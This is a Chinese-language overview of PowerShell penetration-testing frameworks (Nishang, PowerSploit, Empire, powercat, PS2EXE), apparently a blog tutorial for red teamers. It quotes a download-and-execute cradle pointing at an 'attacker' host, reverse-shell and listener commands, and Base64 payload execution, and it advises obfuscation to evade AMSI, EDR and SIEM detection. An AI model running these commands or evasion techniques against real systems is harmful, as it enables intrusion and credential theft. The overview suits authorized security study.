PowerShell作为Windows系统内置的强大脚本引擎,在渗透测试、红队演练和后渗透阶段发挥着关键作用。它支持内存执行、无文件落地、直接调用.NET框架,并能轻松绕过部分传统安全机制。然而,随着2025年EDR(端点检测与响应)工具的加强,如Microsoft Defender对PowerShell日志的深度监控和AMSI(Anti-Malware Scan Interface)的改进,纯PowerShell工具的隐蔽性面临挑战。尽管如此,这些框架和工具仍广泛用于授权测试,尤其在Windows域环境中。
本文将介绍几个经典且常用的PowerShell渗透框架及辅助工具。
1. Nishang:进攻性PowerShell脚本集合
Nishang是由Samrat Ashok开发的开源进攻性PowerShell框架,专注于红队和渗透测试。GitHub仓库:https://github.com/samratashok/nishang(截至2025年,仍为经典仓库,无重大新commit,但社区fork活跃,如Kali Linux集成版)。
核心特点:
- 包含数十个独立脚本,覆盖渗透全阶段:信息收集、权限提升、凭证窃取、横向移动、持久化和外传。
- 支持内存执行:脚本可通过
IEX (New-Object Net.WebClient).DownloadString('http://attacker/nishang.ps1')远程加载,避免磁盘落地。 - 模块化设计:脚本按目录分类,如Gather(信息收集)、Escalation(提权)、Backdoors(后门)、Shells(反弹shell)等。
- 兼容PowerShell v2+,适用于老旧Windows系统。
关键脚本深度解析:
- Invoke-PowerShellTcp :经典反弹TCP shell脚本。使用示例:加载后调用
Invoke-PowerShellTcp -Reverse -IPAddress attacker_ip -Port 4444,建立加密或明文反弹连接。支持bind模式,用于正向连接。 - Get-WLAN-Keys:提取WiFi密钥,适用于物理或内网渗透。
- Invoke-Mimikatz:内存加载Mimikatz,进行凭证dump(pass-the-hash、黄金票据等)。
- DNS_TXT_Pwnage:通过DNS TXT记录接收命令并执行,实现隐蔽C2通道。
- Powerpreter:全功能模块,将所有Nishang脚本整合成单一模块,便于快速部署。
使用场景与技巧:
- 内网横向:结合Base64编码
powershell -enc <base64_payload>绕过执行策略。 - 2025年检测趋势:Splunk等SIEM有专用规则检测Invoke-PowerShellTcp的TCPClient签名。建议结合Invoke-Obfuscation混淆工具使用。
- 优势:轻量、无依赖;劣势:脚本易被签名检测,需手动更新免杀。
Nishang在2025年仍是入门级红队首选,Kali Linux默认集成,适合快速信息收集和简单后门。
2. PowerSploit:经典后渗透框架(已归档)
PowerSploit由PowerShellMafia团队开发,是早期PowerShell后渗透框架的代表。GitHub仓库:https://github.com/PowerShellMafia/PowerSploit(已归档,不再维护,但fork众多,如ZeroDayLab版)。
核心特点:
- 模块化结构:包括Recon(侦察)、Privesc(提权)、Exfiltration(数据外传)、AntivirusBypass(绕过杀软)等。
- 重点后渗透:强调凭证窃取、提权和服务漏洞利用。
- 支持反射加载:如Invoke-ReflectivePEInjection,将DLL/EXE注入内存。
关键模块与脚本深度解析:
- PowerView :域枚举神器,替代传统net命令。功能包括枚举域用户、组、计算机、Kerberos委托等。示例:
Get-NetUser查询用户详情,支持血hound式域图谱构建。 - PowerUp :提权检查工具。运行
Invoke-AllChecks扫描服务滥用、路径劫持、可写服务等漏洞,并提供修复/利用向量。 - Invoke-Mimikatz:早期内存Mimikatz实现。
- Get-GPPPassword:提取组策略首选项(GPP)中的明文密码(虽微软已修复,但老环境仍有价值)。
使用场景与技巧:
- 域环境渗透:PowerView常用于AD侦察,与BloodHound结合分析攻击路径。
- 2025年现状:原仓库归档,许多脚本被Nishang或Empire继承。高版本PowerShell兼容性差,易触发AMSI。
- 优势:功能全面、历史经典;劣势:未更新,现代EDR易检测。
虽已归档,PowerSploit的思路影响深远,许多现代工具(如SharpSploit)继承其C#版本。
3. Empire:多语言后渗透C2框架(BC-Security fork)
Empire原为纯PowerShell后渗透代理框架,现由BC-Security维护的fork版本(Empire 5.x+)已成为主流。GitHub:https://github.com/BC-SECURITY/Empire(2025年活跃,最新release支持Malleable C2、IronPython代理等)。
核心特点:
- C2风格架构:类似Metasploit,包括Listener(监听器)、Stager(载荷生成)、Agent(代理)。
- 多代理支持:PowerShell(无powershell.exe执行)、Python 3、C#、IronPython,实现跨平台。
- 隐蔽性增强:JA3/JA3S签名随机化、DPAPI支持、Malleable HTTP profiles模拟正常流量。
- GUI工具:Starkiller,提供Web界面管理。
关键功能深度解析:
- Stager生成 :支持多种格式(EXE、DLL、BAT、HTA),如
usestager windows/macro生成宏载荷。 - 模块库:超400个模块,包括Mimikatz(更新至2.2+)、键盘记录、凭证跟踪、横向移动(Invoke-PSRemoting)。
- 代理管理:Agent支持任务队列、持久化(注册表、计划任务)、代理间中继。
- 新特性(2025):集成C#编译器、代理链中继、BYOI(Bring Your Own Interpreter)。
使用场景与技巧:
- 红队模拟:持久化控制域环境,结合Starkiller GUI高效管理多Agent。
- 绕过检测:使用obfuscation选项混淆载荷,JA3随机化避开网络签名。
- 优势:活跃维护、多语言灵活;劣势:PowerShell代理易被日志捕获,推荐C#/Python代理。
Empire在2025年仍是顶级C2框架,Kali集成,支持模拟APT持久威胁。
其他常用辅助工具
powercat:PowerShell版Netcat。GitHub:https://github.com/besimorhino/powercat。
- 功能:TCP/UDP/SMB/DNS传输、文件传输、中继、反弹shell(
-e cmd或-ep执行PowerShell)。 - 示例:
powercat -l -p 4444 -e cmd监听反弹cmd;支持编码payload生成。 - 场景:内网中继、文件传输,无需nc.exe。
Win-PS2EXE:PowerShell脚本转EXE工具。GitHub:https://github.com/MScholtes/PS2EXE(2025年更新至1.0.15,支持DPI感知、嵌入文件)。
- 功能:编译.ps1为独立EXE,支持无控制台、图标、版本信息。
- 示例:
Invoke-ps2exe script.ps1 output.exe -noConsole -icon icon.ico。 - 场景:payload交付、绕过脚本执行限制。但易被逆向,勿嵌入敏感信息。
结语
2025年,PowerShell渗透工具面临更强防御:脚本块日志、模块日志、Constrained Language模式等。建议结合混淆(Invoke-Obfuscation)、C#工具(如SharpHound)和LOLBAS(Living Off The Land Binaries)提升隐蔽性。优先选择活跃项目如Empire fork。